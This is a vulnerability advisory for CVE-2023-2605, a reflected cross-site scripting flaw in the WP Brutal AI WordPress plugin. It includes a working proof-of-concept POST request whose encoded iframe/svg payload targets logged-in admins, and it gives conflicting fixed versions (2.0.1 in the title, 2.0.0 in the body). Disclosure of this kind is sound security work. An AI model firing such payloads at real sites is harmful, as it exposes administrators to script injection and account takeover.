WordPress WP Brutal AI Cross Site Scripting

Tittle:
WordPress Plugin WP Brutal AI < 2.0.1 – Admin + Reflected XSS

References:
CVE-2023-2605

Author:
Taurus Omar

Description:
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.

Affects Plugins:
WP Brutal AI- Fixed in version 2.0.0

Proof of Concept:

Send an HTTP request with the following:

“`
POST https://example.com/wp-admin/admin.php?page=viewwpbrutalaicampaign&id=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Cookie: [Admin+]

search=%22%3E%27%3E%3Ciframe+src%3D%22%3Csvg+onload%3Dalert%281%29%3B%3E%22%3E&status=

“`

Classification:
Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/372cb940-71ba-4d19-b35a-ab15f8c2fdeb